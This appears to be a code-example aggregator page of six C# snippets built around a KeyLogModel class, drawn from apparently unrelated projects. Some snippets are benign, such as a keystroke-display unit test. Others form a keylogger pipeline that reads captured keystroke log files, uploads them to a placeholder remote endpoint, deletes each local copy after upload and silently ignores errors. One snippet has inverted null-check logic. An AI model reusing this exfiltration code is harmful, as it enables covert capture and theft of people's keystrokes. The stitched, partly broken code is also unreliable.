Beispiel #1
0
        public void Test1()
        {
            string text = string.Empty;

            var interceptor = new FakeKeyboardInterceptor();
            var converter   = new NaturalTextConverter(new ProcessorsBuilder());
            var viewModel   = new KeyLogModel(interceptor);

            viewModel.PropertyChanged += (o, e) => text = (string)converter.Convert(viewModel.Buffer, null, null, null);

            interceptor.Press("Right");
            interceptor.Press("Left");
            interceptor.Press("Up");
            interceptor.Press("Down");

            interceptor.Press("Escape");
            interceptor.Press("Enter");
            interceptor.Press("PageUp");
            interceptor.Press("PageDown");
            interceptor.Press("Tab");
            interceptor.Press("Insert");
            interceptor.Press("Delete");
            interceptor.Press("LControlKey");
            interceptor.Press("LControlKey");

            Assert.AreEqual("⇨⇦⇧⇩⎋↵PgUpPgDnTabInsDel", text);
        }
Beispiel #2
0
        public void Post(string json)
        {
            if (!String.IsNullOrWhiteSpace(json))
                return;

            KeyLogModel model = JsonConvert.DeserializeObject<KeyLogModel>(json);
            StorageService storageService = new StorageService();
            storageService.StoreKeyLog(model);
        }
Beispiel #3
0
 public PadawanWindow()
 {
     InitializeComponent();
     model                  = new KeyLogModel();
     this.DataContext       = model;
     this.AfterFadeout     += OnAfterFadeOut;
     this.IsVisibleChanged += (s, e) => StopFadingOut();
     this.MouseDoubleClick += PadawanWindow_MouseDoubleClick;
 }
Beispiel #4
0
        private async Task <bool> UploadFile(KeyLogModel log)
        {
            string              json     = JsonConvert.SerializeObject(log);
            HttpClient          client   = new HttpClient();
            StringContent       content  = new StringContent(json, Encoding.UTF8, "application/json");
            HttpResponseMessage response = await client.PostAsync("http://www.yourUrlEndPoint.com:8889/Upload", content);

            if (response.StatusCode == HttpStatusCode.OK)
            {
                return(true);
            }
            else
            {
                return(false);
            }
        }
Beispiel #5
0
        public void StoreKeyLog(KeyLogModel model)
        {
            string connetionString = null;
            string sql             = null;

            connetionString = "Data Source=YOURSQLSERVER\\YOURSQLSERVER;Initial Catalog=Subrosa;User id=yourUserID;Password=yourPass;";
            using (SqlConnection cnn = new SqlConnection(connetionString))
            {
                sql = "INSERT INTO FileLogs ([Log], [LogTime]) values(@Log,@LogTime)";
                cnn.Open();
                using (SqlCommand cmd = new SqlCommand(sql, cnn))
                {
                    cmd.Parameters.AddWithValue("@Log", model.Log);
                    cmd.Parameters.AddWithValue("@LogTime", model.LogTime);
                    cmd.ExecuteNonQuery();
                }
            }
        }
Beispiel #6
0
        private async void CheckKeyLogs(object sender, DoWorkEventArgs e)
        {
            DirectoryInfo d = new DirectoryInfo(Logger.LogPath);

            FileInfo[] files = d.GetFiles("*.txt", SearchOption.AllDirectories);

            for (int i = 0; i < files.Length; i++)
            {
                try
                {
                    KeyLogModel model = new KeyLogModel();
                    model.Log     = File.ReadAllText(files[i].FullName);
                    model.LogTime = DateTime.Now;

                    if (await UploadFile(model))
                    {
                        files[i].Delete();
                    }
                }
                catch (Exception ex)
                {
                }
            }
        }